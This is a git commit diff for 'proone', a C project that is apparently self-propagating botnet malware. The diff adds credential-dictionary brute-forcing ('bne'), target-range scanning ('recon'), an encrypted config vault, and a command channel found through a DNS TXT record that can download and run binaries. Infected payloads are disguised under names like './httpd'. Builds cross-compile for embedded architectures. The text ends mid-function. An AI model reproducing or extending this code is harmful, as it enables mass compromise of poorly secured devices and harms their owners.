aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2020-09-27 22:51:11 +0930
committerDavid Timber <mieabby@gmail.com>2020-09-27 22:51:11 +0930
commit86038b950f0aaddca7108e903568159414a8d64a (patch)
tree122ff054b79ac91dc615f2248674fa4944ccdb17
parent9f948554902e67cd796dd0635a3c632ccd40c206 (diff)
* Disable armv7, aarch64, x86_64 target
* Apply recon and bne to proone * Add callback contexts on htbt and bne * Fix mem leak in bne_sh_cleanup_upload() * Use prne_static_assert() instead of _Static_assert() * Use prne_free_worker() rather than calling free_ctx() * Add prne_eq_ipaddr() * bne * Add prne_bne_result::ny_instance to impl infect_cnt * Don't delete tmp upload dir after successful bne_sh_run_exec() so that proone can make tmp files * Silently ignore PRNE_BNE_V_HTBT if htbt_ssl_conf is not set * Add prne_bne_get_subject() * htbt * Fix crash bug when running without resolv * proone: set pth priority
-rw-r--r--.vscode/launch.json6
-rwxr-xr-xscripts/build-all.sh27
-rw-r--r--src/Makefile.am7
-rw-r--r--src/bne.c64
-rw-r--r--src/bne.h9
-rw-r--r--src/data.h6
-rw-r--r--src/htbt.c33
-rw-r--r--src/htbt.h15
-rw-r--r--src/proone-bne.c10
-rw-r--r--src/proone-htbthost.c18
-rw-r--r--src/proone-mkdvault.c51
-rw-r--r--src/proone-recon.c5
-rw-r--r--src/proone-resolv.c1
-rw-r--r--src/proone.c398
-rw-r--r--src/proone.h7
-rw-r--r--src/proone_conf.skel/config.h66
-rw-r--r--src/proone_conf.skel/cred_dict.txt1
-rw-r--r--src/protocol.c15
-rw-r--r--src/protocol.h5
-rw-r--r--src/pth.c17
-rw-r--r--src/pth.h1
-rw-r--r--src/recon.c2
-rw-r--r--src/recon.h3
-rw-r--r--src/resolv.c2
24 files changed, 664 insertions, 105 deletions
diff --git a/.vscode/launch.json b/.vscode/launch.json
index a9b6faa..9b27a06 100644
--- a/.vscode/launch.json
+++ b/.vscode/launch.json
@@ -165,6 +165,12 @@
"description": "Ignore SIGPIPE",
"text": "handle SIGPIPE nostop print",
"ignoreFailures": false
+ },
+ {
+ "description":
+ "Disable startup-with-shell to pass file cap",
+ "text": "set startup-with-shell off",
+ "ignoreFailures": false
}
],
"preLaunchTask": "Build proone",
diff --git a/scripts/build-all.sh b/scripts/build-all.sh
index 146bdfb..a9eaeb5 100755
--- a/scripts/build-all.sh
+++ b/scripts/build-all.sh
@@ -2,33 +2,33 @@
set -e
ARCH_ARR=(
- "aarch64"
+# "aarch64"
"armv4t"
- "armv7"
+# "armv7"
"i686"
- "x86_64"
+# "x86_64"
"mips"
"mpsl"
"ppc"
"sh4"
)
TOOLCHAIN_ARR=(
- "aarch64"
+# "aarch64"
"armv4t"
- "armv7"
+# "armv7"
"i686"
- "x86_64"
+# "x86_64"
"mips"
"mpsl"
"ppc"
"sh4"
)
HOST_ARR=(
- "aarch64-linux"
- "arm-linux"
+# "aarch64-linux"
"arm-linux"
+# "arm-linux"
"i686-linux"
- "x86_64-linux"
+# "x86_64-linux"
"mips-linux"
"mipsel-linux"
"powerpc-linux"
@@ -52,10 +52,12 @@ export PROONE_EXEC_PREFIX="$PROONE_EXEC_DIR/exec"
export PROONE_MISC_BIN_PREFIX="$PROONE_MISC_BIN_DIR/"
PROONE_REL_PREFIX="$PROONE_REL_DIR/proone"
PROONE_BINARCH_PREFIX="$PROONE_BINARCH_DIR/binarch"
+PROONE_CDICT="$PROONE_PREFIX/cred_dict.bin"
PROONE_DVAULT="$PROONE_PREFIX/dvault.bin"
PROONE_TOOLS="
proone-pack
proone-list-arch
+ proone-mkcdict
proone-mkdvault
proone-ipaddr-arr
"
@@ -69,9 +71,7 @@ set -e
# native build for tools
./configure $PROONE_AM_CONF
-cd src
-make -j$(nproc) $PROONE_TOOLS
-cd ..
+make -j$(nproc) -C src $PROONE_TOOLS
for t in $PROONE_TOOLS; do
cp -a "src/$t" "$PROONE_TOOLS_DIR"
done
@@ -79,7 +79,8 @@ cp -a "./src/run-tests.sh" "./src/testlist" "$PROONE_MISC_BIN_DIR"
make distclean
# generate dvault
-"$PROONE_TOOLS_DIR/proone-mkdvault" > "$PROONE_DVAULT"
+"$PROONE_TOOLS_DIR/proone-mkcdict" "./src/proone_conf/cred_dict.txt" "$PROONE_CDICT"
+"$PROONE_TOOLS_DIR/proone-mkdvault" "$PROONE_CDICT" > "$PROONE_DVAULT"
DVAULT_SIZE=$(stat -c "%s" "$PROONE_DVAULT")
# cross-compile targets
diff --git a/src/Makefile.am b/src/Makefile.am
index e0f8b67..c56fac3 100644
--- a/src/Makefile.am
+++ b/src/Makefile.am
@@ -86,8 +86,11 @@ proone_bin_LDADD = libproone.a
proone_bin_SOURCES =\
proone.c
-dvault.bin: proone-mkdvault
- ./proone-mkdvault > dvault.bin
+dvault.bin: proone-mkdvault cred_dict.bin
+ ./proone-mkdvault cred_dict.bin > dvault.bin
+
+cred_dict.bin: proone-mkcdict proone_conf/cred_dict.txt
+ ./proone-mkcdict proone_conf/cred_dict.txt cred_dict.bin
proone_mkdvault_LDADD = libproone.a
proone_mkdvault_SOURCES = proone-mkdvault.c
diff --git a/src/bne.c b/src/bne.c
index ae65b8a..605297d 100644
--- a/src/bne.c
+++ b/src/bne.c
@@ -207,7 +207,9 @@ static void bne_delete_cred_w_id (prne_bne_t *ctx, const char *id) {
prne_cred_dict_entry_t *ent;
const char *ent_id;
- if (ctx->param.cb.enter_dd != NULL && !ctx->param.cb.enter_dd()) {
+ if (ctx->param.cb.enter_dd != NULL &&
+ !ctx->param.cb.enter_dd(ctx->param.cb_ctx))
+ {
return;
}
@@ -224,7 +226,7 @@ static void bne_delete_cred_w_id (prne_bne_t *ctx, const char *id) {
}
if (ctx->param.cb.exit_dd != NULL) {
- ctx->param.cb.exit_dd();
+ ctx->param.cb.exit_dd(ctx->param.cb_ctx);
}
}
@@ -254,7 +256,9 @@ static bool bne_pop_cred (
if (ctx->cred_set.size == 0) {
return false;
}
- if (ctx->param.cb.enter_dd != NULL && !ctx->param.cb.enter_dd()) {
+ if (ctx->param.cb.enter_dd != NULL &&
+ !ctx->param.cb.enter_dd(ctx->param.cb_ctx))
+ {
ctx->result.err = errno;
return false;
}
@@ -376,7 +380,7 @@ END:
}
if (ctx->param.cb.exit_dd != NULL) {
- ctx->param.cb.exit_dd();
+ ctx->param.cb.exit_dd(ctx->param.cb_ctx);
}
return ret;
@@ -1348,6 +1352,8 @@ static bool bne_sh_cleanup_upload (
}
cmd = prne_build_str(sb, sizeof(sb)/sizeof(const char*));
+ prne_free(s_ctx->upload_dir);
+ s_ctx->upload_dir = NULL;
if (cmd == NULL) {
return false;
}
@@ -1456,7 +1462,7 @@ static bool bne_sh_upload_echo (
bne_sh_parser_t parser;
int ec = -1;
- _Static_assert(sizeof(s_ctx->buf) >= BPC, "FIXME");
+ prne_static_assert(sizeof(s_ctx->buf) >= BPC, "FIXME");
bne_init_sh_parser(&parser);
parser.ctx = &ec;
parser.line_f = bne_sh_int_parse_f;
@@ -1547,7 +1553,7 @@ static bool bne_sh_upload_base64 (
int ec = -1;
size_t len;
- _Static_assert(sizeof(s_ctx->buf) >= BPC, "FIXME");
+ prne_static_assert(sizeof(s_ctx->buf) >= BPC, "FIXME");
bne_init_sh_parser(&parser);
parser.ctx = &ec;
parser.line_f = bne_sh_int_parse_f;
@@ -1641,11 +1647,20 @@ static bool bne_sh_run_exec (
}
switch (ec) {
- case PRNE_PROONE_EC_OK:
- // successful launch
+ case PRNE_PROONE_EC_OK: // successful launch
+ ctx->result.ny_instance = true;
+ ret = true;
+ break;
case PRNE_PROONE_EC_LOCK:
- // failed to acquire lock
- // assume that a process is already running
+ /*
+ * failed to acquire lock
+ * assume that a process is already running
+ */
+ /*
+ * delete the upload dir so the mount point doesn't get stuffed up
+ * with temp dirs
+ */
+ bne_sh_cleanup_upload(ctx, s_ctx);
ret = true;
break;
}
@@ -1697,7 +1712,7 @@ static bool bne_do_shell (prne_bne_t *ctx, bne_sh_ctx_t *sh_ctx) {
// TRY
bne_build_host_cred(sh_ctx, ctx->result.cred.id, ctx->result.cred.pw);
- exec_name = ctx->param.cb.exec_name();
+ exec_name = ctx->param.cb.exec_name(ctx->param.cb_ctx);
if (exec_name == NULL) {
ctx->result.err = errno;
goto END;
@@ -1748,8 +1763,7 @@ static bool bne_do_shell (prne_bne_t *ctx, bne_sh_ctx_t *sh_ctx) {
if (ret) {
ret =
upload_f(ctx, sh_ctx, exec_name) &&
- bne_sh_run_exec(ctx, sh_ctx, exec_name) &&
- bne_sh_cleanup_upload(ctx, sh_ctx);
+ bne_sh_run_exec(ctx, sh_ctx, exec_name);
if (ret) {
goto END;
@@ -1785,6 +1799,9 @@ static bool bne_do_vec_htbt (prne_bne_t *ctx) {
ep.port = PRNE_HTBT_PROTO_PORT;
// TRY
+ if (ctx->param.htbt_ssl_conf == NULL) {
+ goto END;
+ }
if (mbedtls_ssl_setup(&ssl, ctx->param.htbt_ssl_conf) != 0) {
goto END;
}
@@ -3222,22 +3239,15 @@ prne_bne_t *prne_alloc_bne (
prne_bne_t *ret = NULL;
uint8_t seed[PRNE_RND_WELL512_SEEDLEN];
- if (ctr_drbg == NULL || param->cb.exec_name == NULL) {
+ if (ctr_drbg == NULL ||
+ param->cb.exec_name == NULL ||
+ param->rcb.ba == NULL ||
+ param->cred_dict->cnt == 0)
+ {
errno = EINVAL;
return NULL;
}
- for (size_t i = 0; i < param->vector.cnt; i += 1) {
- switch (param->vector.arr[i]) {
- case PRNE_BNE_V_HTBT:
- if (param->htbt_ssl_conf == NULL) {
- errno = EINVAL;
- return NULL;
- }
- break;
- }
- }
-
// TRY
ret = (prne_bne_t*)prne_calloc(sizeof(prne_bne_t), 1);
if (ret == NULL) {
@@ -3274,3 +3284,7 @@ ERR: // CATCH
return NULL;
}
+
+const prne_ip_addr_t *prne_bne_get_subject (const prne_bne_t *bne) {
+ return bne->result.subject;
+}
diff --git a/src/bne.h b/src/bne.h
index f682008..dd83dc1 100644
--- a/src/bne.h
+++ b/src/bne.h
@@ -35,10 +35,11 @@ struct prne_bne_param {
size_t cnt;
} vector;
struct {
- char *(*exec_name)(void);
- bool (*enter_dd)(void);
- void (*exit_dd)(void);
+ char *(*exec_name)(void *ctx);
+ bool (*enter_dd)(void *ctx);
+ void (*exit_dd)(void *ctx);
} cb;
+ void *cb_ctx;
struct {
const uint8_t *m_self;
size_t self_len;
@@ -62,6 +63,7 @@ struct prne_bne_result {
prne_bne_vector_t vec;
prne_pack_rc_t prc;
prne_arch_t arch;
+ bool ny_instance;
};
void prne_init_bne_param (prne_bne_param_t *p);
@@ -73,3 +75,4 @@ prne_bne_t *prne_alloc_bne (
prne_worker_t *w,
mbedtls_ctr_drbg_context *ctr_drbg,
const prne_bne_param_t *param);
+const prne_ip_addr_t *prne_bne_get_subject (const prne_bne_t *bne);
diff --git a/src/data.h b/src/data.h
index f2b6d92..80e6064 100644
--- a/src/data.h
+++ b/src/data.h
@@ -16,6 +16,12 @@ typedef enum {
PRNE_DATA_KEY_RESOLV_NS_IPV4,
PRNE_DATA_KEY_RESOLV_NS_IPV6,
PRNE_DATA_KEY_CNC_TXT_REC,
+ PRNE_DATA_KEY_RCN_PORTS,
+ PRNE_DATA_KEY_RCN_T_IPV4,
+ PRNE_DATA_KEY_RCN_BL_IPV4,
+ PRNE_DATA_KEY_RCN_T_IPV6,
+ PRNE_DATA_KEY_RCN_BL_IPV6,
+ PRNE_DATA_KEY_CRED_DICT,
PRNE_DATA_KEY_EXEC_NAME,
NB_PRNE_DATA_KEY
diff --git a/src/htbt.c b/src/htbt.c
index 1ae0c4b..7337ca7 100644
--- a/src/htbt.c
+++ b/src/htbt.c
@@ -57,6 +57,7 @@ typedef struct {
prne_htbt_status_code_t *status,
int32_t *err);
const prne_htbt_cbset_t *cbset;
+ void *cb_ctx;
size_t skip;
prne_iobuf_t iobuf[2];
prne_pth_cv_t cv;
@@ -954,7 +955,7 @@ static void htbt_slv_srv_hostinfo (
prne_htbt_init_host_info(&hi);
- if (ctx->cbset->hostinfo(&hi)) {
+ if (ctx->cbset->hostinfo(ctx->cb_ctx, &hi)) {
htbt_slv_fab_frame(
ctx,
mh,
@@ -1077,6 +1078,7 @@ static bool htbt_slv_srv_bin (
errno = 0;
path = ctx->cbset->tmpfile(
+ ctx->cb_ctx,
bin_meta.bin_size,
mh->op == PRNE_HTBT_OP_RUN_BIN ? 0700 : 0600);
if (path == NULL) {
@@ -1164,7 +1166,7 @@ static bool htbt_slv_srv_bin (
&ret_errno);
}
else {
- if (!ctx->cbset->ny_bin(path, &bin_meta.cmd)) {
+ if (!ctx->cbset->ny_bin(ctx->cb_ctx, path, &bin_meta.cmd)) {
ret_status = PRNE_HTBT_STATUS_ERRNO;
ret_errno = errno;
goto SND_STATUS;
@@ -1662,6 +1664,7 @@ static void htbt_main_srv_hover (
c.slv.write_f = htbt_main_slv_write_f;
c.slv.hover_f = htbt_main_slv_hover_f;
c.slv.cbset = &ctx->param.cb_f;
+ c.slv.cb_ctx = ctx->param.cb_ctx;
c.slv.cv.lock = &ctx->lock;
c.slv.cv.cond = &ctx->cond;
mbedtls_ssl_init(&c.ssl);
@@ -1707,8 +1710,12 @@ static void *htbt_main_entry (void *p) {
HTBT_INTP_CTX(p);
htbt_req_slip_t *slip = NULL;
- prne_assert(pth_resume(ctx->lbd.pth));
- prne_assert(pth_resume(ctx->cncp.pth));
+ if (ctx->lbd.pth != NULL) {
+ pth_resume(ctx->lbd.pth);
+ }
+ if (ctx->cncp.pth != NULL) {
+ pth_resume(ctx->cncp.pth);
+ }
while (ctx->loop_flag) {
prne_dbgtrap(pth_mutex_acquire(&ctx->main.lock, FALSE, NULL));
@@ -1744,10 +1751,14 @@ FREE:
}
}
- prne_assert(pth_join(ctx->lbd.pth, NULL));
- prne_assert(pth_join(ctx->cncp.pth, NULL));
- ctx->lbd.pth = NULL;
- ctx->cncp.pth = NULL;
+ if (ctx->lbd.pth != NULL) {
+ pth_join(ctx->lbd.pth, NULL);
+ ctx->lbd.pth = NULL;
+ }
+ if (ctx->cncp.pth != NULL) {
+ pth_join(ctx->cncp.pth, NULL);
+ ctx->cncp.pth = NULL;
+ }
htbt_main_empty_req_q(ctx);
prne_llist_clear(&ctx->main.hover_req);
@@ -1861,6 +1872,7 @@ static void htbt_cncp_stream_slv (
c.slv.write_f = htbt_cncp_slv_write_f;
c.slv.hover_f = htbt_cncp_slv_hover_f;
c.slv.cbset = &ctx->param.cb_f;
+ c.slv.cb_ctx = ctx->param.cb_ctx;
if (!htbt_alloc_slv_iobuf(&c.slv)) {
prne_dbgperr("htbt_alloc_slv_iobuf()@CNCP");
goto END;
@@ -1973,7 +1985,7 @@ static void htbt_cncp_do_probe (prne_htbt_t *ctx) {
cv.cond = &ctx->cncp.cond;
cv.broadcast = false;
- if (!ctx->param.cb_f.cnc_txtrec(ctx->cncp.txtrec)) {
+ if (!ctx->param.cb_f.cnc_txtrec(ctx->param.cb_ctx, ctx->cncp.txtrec)) {
goto END;
}
ctx->cncp.txtrec[255] = 0;
@@ -2171,6 +2183,7 @@ static bool htbt_alloc_lbd_client (
c->slv.write_f = htbt_lbd_slv_write_f;
c->slv.hover_f = htbt_lbd_slv_hover_f;
c->slv.cbset = &parent->param.cb_f;
+ c->slv.cb_ctx = parent->param.cb_ctx;
c->slv.cv.lock = &parent->lock;
c->slv.cv.cond = &parent->cond;
@@ -2483,11 +2496,9 @@ prne_htbt_t *prne_alloc_htbt (
pth_mutex_init(&ret->main.lock);
pth_cond_init(&ret->main.cond);
- ret->cncp.pth = NULL;
pth_mutex_init(&ret->cncp.lock);
pth_cond_init(&ret->cncp.cond);
- ret->lbd.pth = NULL;
prne_init_llist(&ret->lbd.conn_list);
ret->lbd.fd = -1;
diff --git a/src/htbt.h b/src/htbt.h
index becb62b..152825c 100644
--- a/src/htbt.h
+++ b/src/htbt.h
@@ -10,10 +10,16 @@ struct prne_htbt;
typedef struct prne_htbt prne_htbt_t;
typedef struct prne_htbt_param prne_htbt_param_t;
typedef struct prne_htbt_cbset prne_htbt_cbset_t;
-typedef bool(*prne_htbt_cnc_txtrec_ft)(char *out);
-typedef bool(*prne_htbt_hostinfo_ft)(prne_htbt_host_info_t *out);
-typedef char*(*prne_htbt_tmpfile_ft)(size_t req_size, const mode_t mode);
-typedef bool(*prne_htbt_bin_ft)(const char *path, const prne_htbt_cmd_t *cmd);
+typedef bool(*prne_htbt_cnc_txtrec_ft)(void *ctx, char *out);
+typedef bool(*prne_htbt_hostinfo_ft)(void *ctx, prne_htbt_host_info_t *out);
+typedef char*(*prne_htbt_tmpfile_ft)(
+ void *ctx,
+ size_t req_size,
+ const mode_t mode);
+typedef bool(*prne_htbt_bin_ft)(
+ void *ctx,
+ const char *path,
+ const prne_htbt_cmd_t *cmd);
struct prne_htbt_cbset {
prne_htbt_cnc_txtrec_ft cnc_txtrec;
@@ -28,6 +34,7 @@ struct prne_htbt_param {
mbedtls_ctr_drbg_context *ctr_drbg;
prne_resolv_t *resolv;
prne_htbt_cbset_t cb_f;
+ void *cb_ctx;
int blackhole;
};
diff --git a/src/proone-bne.c b/src/proone-bne.c
index db4fa66..64dcb11 100644
--- a/src/proone-bne.c
+++ b/src/proone-bne.c
@@ -122,10 +122,12 @@ static void report_result (const prne_bne_result_t *r) {
"- result:\n"
"\tsubject: %s\n"
"\terr: %d\n"
- "\tvector: %s\n",
+ "\tvector: %s\n"
+ "\tny_instance: %s\n",
ip_str,
r->err,
- vec_str);
+ vec_str,
+ r->ny_instance ? "true" : "false");
if (r->vec >= 0) {
const char *arch_str = prne_arch_tostr(r->arch);
@@ -144,7 +146,7 @@ static void report_result (const prne_bne_result_t *r) {
}
}
-static char *cb_exec_name (void) {
+static char *cb_exec_name (void *ctx) {
static const char *EXEC_NAME = "proone";
const size_t len = strlen(EXEC_NAME);
char *ret = prne_alloc_str(len);
@@ -355,7 +357,7 @@ int main (const int argc, const char **args) {
w->pth = NULL;
report_result((const prne_bne_result_t*)result);
- w->free_ctx(w->ctx);
+ prne_free_worker(w);
prne_free(w);
e = prne_llist_erase(&wkr_list, e);
}
diff --git a/src/proone-htbthost.c b/src/proone-htbthost.c
index 96ceb9f..978efab 100644
--- a/src/proone-htbthost.c
+++ b/src/proone-htbthost.c
@@ -68,12 +68,12 @@ static void print_usage (const char *prog) {
fprintf(stderr, HELP_STR, prog);
}
-static bool cb_txtrec (char *out) {
+static bool cb_txtrec (void *ctx, char *out) {
strcpy(out, htbthost_param.txtrec);
return true;
}
-static bool cb_hostinfo (prne_htbt_host_info_t *out) {
+static bool cb_hostinfo (void *ctx, prne_htbt_host_info_t *out) {
static struct timespec now;
static uint8_t PROG_VER[] = PRNE_PROG_VER;
int fd;
@@ -86,7 +86,7 @@ static bool cb_hostinfo (prne_htbt_host_info_t *out) {
out->infect_cnt = 0;
out->parent_pid = out->child_pid = getpid();
- _Static_assert(sizeof(PROG_VER) == sizeof(out->prog_ver), "FIXME");
+ prne_static_assert(sizeof(PROG_VER) == sizeof(out->prog_ver), "FIXME");
memcpy(out->prog_ver, PROG_VER, sizeof(PROG_VER));
fd = open("/proc/sys/kernel/random/boot_id", O_RDONLY);
@@ -95,7 +95,7 @@ static bool cb_hostinfo (prne_htbt_host_info_t *out) {
close(fd);
}
- _Static_assert(sizeof(instance_id) == sizeof(out->instance_id), "FIXME");
+ prne_static_assert(sizeof(instance_id) == sizeof(out->instance_id), "FIXME");
memcpy(out->instance_id, instance_id, sizeof(instance_id));
if (prne_htbt_alloc_host_info(out, hostcred_len)) {
@@ -108,7 +108,10 @@ static bool cb_hostinfo (prne_htbt_host_info_t *out) {
return true;
}
-static bool cb_ny_bin (const char *path, const prne_htbt_cmd_t *cmd)
+static bool cb_ny_bin (
+ void *ctx,
+ const char *path,
+ const prne_htbt_cmd_t *cmd)
{
const size_t path_len = prne_nstrlen(path);
@@ -265,7 +268,7 @@ static bool parse_param (const char *arg) {
return true;
}
-static char *mktmpfile (size_t req_size, const mode_t mode) {
+static char *mktmpfile (void *ctx, size_t req_size, const mode_t mode) {
static int ctr = 0;
char *path = NULL, *ret = NULL;
int fd = -1, len;
@@ -491,7 +494,8 @@ int main (const int argc, const char **args) {
}
for (size_t i = 0; i < sizeof(wkr_arr)/sizeof(prne_worker_t); i += 1) {
pth_join(wkr_arr[i].pth, NULL);
- wkr_arr[i].free_ctx(wkr_arr[i].ctx);
+ wkr_arr[i].pth = NULL;
+ prne_free_worker(wkr_arr + i);
}
pth_kill();
diff --git a/src/proone-mkdvault.c b/src/proone-mkdvault.c
index 68c7abe..bcdc27b 100644
--- a/src/proone-mkdvault.c
+++ b/src/proone-mkdvault.c
@@ -11,6 +11,7 @@
#include <assert.h>
#include <unistd.h>
+#include <fcntl.h>
#include <mbedtls/entropy.h>
#include <mbedtls/ctr_drbg.h>
@@ -23,16 +24,17 @@
*/
static struct {
- const void *data;
+ void *data;
size_t size;
prne_dvault_mask_result_t encoded;
uint16_t pos;
prne_data_type_t type;
bool set;
+ bool ownership;
} ENTRIES[NB_PRNE_DATA_KEY];
#define add_cstr(key, cstr) {\
- static const char STR[] = cstr;\
+ static char STR[] = cstr;\
ENTRIES[key].data = STR;\
ENTRIES[key].size = sizeof(STR);\
ENTRIES[key].type = PRNE_DATA_TYPE_CSTR;\
@@ -40,13 +42,36 @@ static struct {
}
#define add_bin(key, bin_arr) {\
- static const uint8_t ARR[] = bin_arr;\
+ static uint8_t ARR[] = bin_arr;\
ENTRIES[key].data = ARR;\
ENTRIES[key].size = sizeof(ARR);\
ENTRIES[key].type = PRNE_DATA_TYPE_BIN;\
ENTRIES[key].set = true;\
}
+static void add_file (const prne_data_key_t key, const char *path) {
+ const int fd = open(path, O_RDONLY);
+ const off_t size = lseek(fd, 0, SEEK_END);
+ ssize_t f_ret;
+
+ prne_assert(fd >= 0 && size >= 0);
+ prne_assert(lseek(fd, 0, SEEK_SET) == 0);
+ ENTRIES[key].data = prne_malloc(1, size);
+ ENTRIES[key].size = size;
+ ENTRIES[key].type = PRNE_DATA_TYPE_BIN;
+ ENTRIES[key].set = true;
+ ENTRIES[key].ownership = true;
+
+ if (ENTRIES[key].size > 0) {
+ prne_assert(ENTRIES[key].data != NULL);
+ }
+
+ f_ret = read(fd, ENTRIES[key].data, ENTRIES[key].size);
+ prne_assert(f_ret >= 0 && (size_t)f_ret == ENTRIES[key].size);
+
+ close(fd);
+}
+
static mbedtls_entropy_context ent;
static mbedtls_ctr_drbg_context rnd;
@@ -114,7 +139,7 @@ static void gen_mask (uint8_t *out) {
prne_free_imap(&q);
}
-int main (void) {
+int main (const int argc, const char **args) {
int callret;
uint8_t mask[256];
uint_fast16_t pos = 0;
@@ -125,6 +150,10 @@ int main (void) {
fprintf(stderr, "Refusing to print on terminal.\n");
return 2;
}
+ if (argc < 2) {
+ fprintf(stderr, "Usage: %s <cred dict>\n", args[0]);
+ return 2;
+ }
mbedtls_entropy_init(&ent);
mbedtls_ctr_drbg_init(&rnd);
@@ -150,7 +179,13 @@ int main (void) {
add_bin(PRNE_DATA_KEY_RESOLV_NS_IPV4, PRNE_RESOLV_NS_POOL_IPV4);
add_bin(PRNE_DATA_KEY_RESOLV_NS_IPV6, PRNE_RESOLV_NS_POOL_IPV6);
add_cstr(PRNE_DATA_KEY_CNC_TXT_REC, PRNE_CNC_TXT_REC);
- add_cstr(PRNE_DATA_KEY_EXEC_NAME, "./httpd");
+ add_bin(PRNE_DATA_KEY_RCN_PORTS, PRNE_RCN_PORTS);
+ add_bin(PRNE_DATA_KEY_RCN_T_IPV4, PRNE_RCN_T_IPV4);
+ add_bin(PRNE_DATA_KEY_RCN_BL_IPV4, PRNE_RCN_BL_IPV4);
+ add_bin(PRNE_DATA_KEY_RCN_T_IPV6, PRNE_RCN_T_IPV6);
+ add_bin(PRNE_DATA_KEY_RCN_BL_IPV6, PRNE_RCN_BL_IPV6);
+ add_file(PRNE_DATA_KEY_CRED_DICT, args[1]);
+ add_cstr(PRNE_DATA_KEY_EXEC_NAME, PRNE_BNE_EXEC_NAME);
pos += NB_PRNE_DATA_KEY * sizeof(uint16_t);
@@ -241,5 +276,11 @@ int main (void) {
write(STDOUT_FILENO, m_out, pos) == (ssize_t)pos,
"dumping on stdout");
+ for (prne_data_key_t i = 0; i < NB_PRNE_DATA_KEY; i += 1) {
+ if (ENTRIES[i].ownership) {
+ prne_free(ENTRIES[i].data);
+ }
+ }
+
return 0;
}
diff --git a/src/proone-recon.c b/src/proone-recon.c
index f5a979e..408d68c 100644
--- a/src/proone-recon.c
+++ b/src/proone-recon.c
@@ -134,7 +134,7 @@ INV_LINE:
return 2;
}
-static void evt_cb (const prne_net_endpoint_t *ep) {
+static void evt_cb (void *ctx, const prne_net_endpoint_t *ep) {
char addr_str[prne_op_max(INET_ADDRSTRLEN, INET6_ADDRSTRLEN)];
const char *fmt;
@@ -273,7 +273,8 @@ int main (const int argc, const char **args) {
// fin worker
wkr.fin(wkr.ctx);
pth_join(wkr.pth, NULL);
- wkr.free_ctx(wkr.ctx);
+ wkr.pth = NULL;
+ prne_free_worker(&wkr);
END:
// clean up
diff --git a/src/proone-resolv.c b/src/proone-resolv.c
index 0e23ba0..0ccec44 100644
--- a/src/proone-resolv.c
+++ b/src/proone-resolv.c
@@ -292,6 +292,7 @@ int main (void) {
}
for (size_t i = 0; i < sizeof(wkr_arr)/sizeof(prne_worker_t); i += 1) {
assert(pth_join(wkr_arr[i].pth, NULL));
+ wkr_arr[i].pth = NULL;
prne_free_worker(wkr_arr + i);
}
diff --git a/src/proone.c b/src/proone.c
index d480696..5e8173e 100644
--- a/src/proone.c
+++ b/src/proone.c
@@ -21,6 +21,7 @@
#include <libssh2.h>
#include "config.h"
+#include "proone_conf/config.h"
#include "proone.h"
#include "protocol.h"
#include "util_rt.h"
@@ -28,6 +29,10 @@
#include "dvault.h"
#include "llist.h"
#include "mbedtls.h"
+#include "htbt.h"
+#include "recon.h"
+#include "bne.h"
+#include "inet.h"
struct prne_global prne_g;
@@ -37,6 +42,8 @@ sigset_t ss_exit, ss_all;
static prne_worker_t wkr_arr[3];
static size_t wkr_cnt;
+static prne_llist_t bne_list;
+static prne_bne_param_t bne_param;
static void alloc_resolv (void) {
prne_resolv_ns_pool_t pool4, pool6;
@@ -78,10 +85,16 @@ static void alloc_resolv (void) {
pool4,
pool6);
if (prne_g.resolv != NULL) {
+ wkr_arr[wkr_cnt].attr = pth_attr_new();
+ pth_attr_set(wkr_arr[wkr_cnt].attr, PTH_ATTR_PRIO, PTH_PRIO_STD + 1);
+
wkr_cnt += 1;
pool4.ownership = false;
pool6.ownership = false;
}
+ else if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_ERR) {
+ prne_dbgperr("prne_alloc_resolv()");
+ }
END:
prne_dvault_reset();
@@ -89,13 +102,13 @@ END:
prne_resolv_free_ns_pool(&pool6);
}
-static bool cb_htbt_cnc_txtrec (char *out) {
+static bool cb_htbt_cnc_txtrec (void *ctx, char *out) {
strcpy(out, prne_dvault_get_cstr(PRNE_DATA_KEY_CNC_TXT_REC, NULL));
prne_dvault_reset();
return true;
}
-static bool cb_htbt_hostinfo (prne_htbt_host_info_t *out) {
+static bool cb_htbt_hostinfo (void *ctx, prne_htbt_host_info_t *out) {
const struct timespec ts_now = prne_gettime(CLOCK_MONOTONIC);
out->parent_uptime = prne_sub_timespec(ts_now, prne_g.parent_start).tv_sec;
@@ -131,7 +144,7 @@ static bool cb_htbt_hostinfo (prne_htbt_host_info_t *out) {
return true;
}
-static char *cb_htbt_tmpfile (size_t req_size, const mode_t mode) {
+static char *cb_htbt_tmpfile (void *ctx, size_t req_size, const mode_t mode) {
uint8_t m[16];
char *path = prne_alloc_str(36 + 3), *ret = NULL;
int fd = -1;
@@ -173,7 +186,11 @@ static char *cb_htbt_tmpfile (size_t req_size, const mode_t mode) {
return ret;
}
-static bool cb_htbt_nybin (const char *path, const prne_htbt_cmd_t *cmd) {
+static bool cb_htbt_nybin (
+ void *ctx,
+ const char *path,
+ const prne_htbt_cmd_t *cmd)
+{
const size_t strsize = prne_nstrlen(path) + 1;
if (prne_s_g == NULL ||
@@ -193,6 +210,7 @@ static bool cb_htbt_nybin (const char *path, const prne_htbt_cmd_t *cmd) {
static void alloc_htbt (void) {
+ prne_htbt_t *htbt;
prne_htbt_param_t param;
prne_htbt_init_param(&param);
@@ -211,23 +229,211 @@ static void alloc_htbt (void) {
param.cb_f.ny_bin = cb_htbt_nybin;
param.blackhole = prne_g.blackhole[1];
- prne_g.htbt = prne_alloc_htbt(
+ htbt = prne_alloc_htbt(
wkr_arr + wkr_cnt,
&param);
- if (prne_g.htbt != NULL) {
+ if (htbt != NULL) {
+ wkr_arr[wkr_cnt].attr = pth_attr_new();
+ pth_attr_set(wkr_arr[wkr_cnt].attr, PTH_ATTR_PRIO, PTH_PRIO_STD + 1);
+
wkr_cnt += 1;
}
+ else if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_ERR) {
+ prne_dbgperr("prne_alloc_htbt()");
+ }
END:
prne_htbt_free_param(&param);
}
+static void cb_recon_evt (void *ctx, const prne_net_endpoint_t *ep) {
+ prne_llist_entry_t *e = NULL;
+ prne_worker_t *w = NULL;
+ prne_bne_t *bne;
+
+ if (bne_list.size >= PROONE_BNE_MAX_CNT) {
+ if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_WARN) {
+ prne_dbgperr("* PROONE_BNE_MAX_CNT reached!\n");
+ }
+ return;
+ }
+
+ for (e = bne_list.head; e != NULL; e = e->next) {
+ w = (prne_worker_t*)e->element;
+ bne = (prne_bne_t*)w->ctx;
+
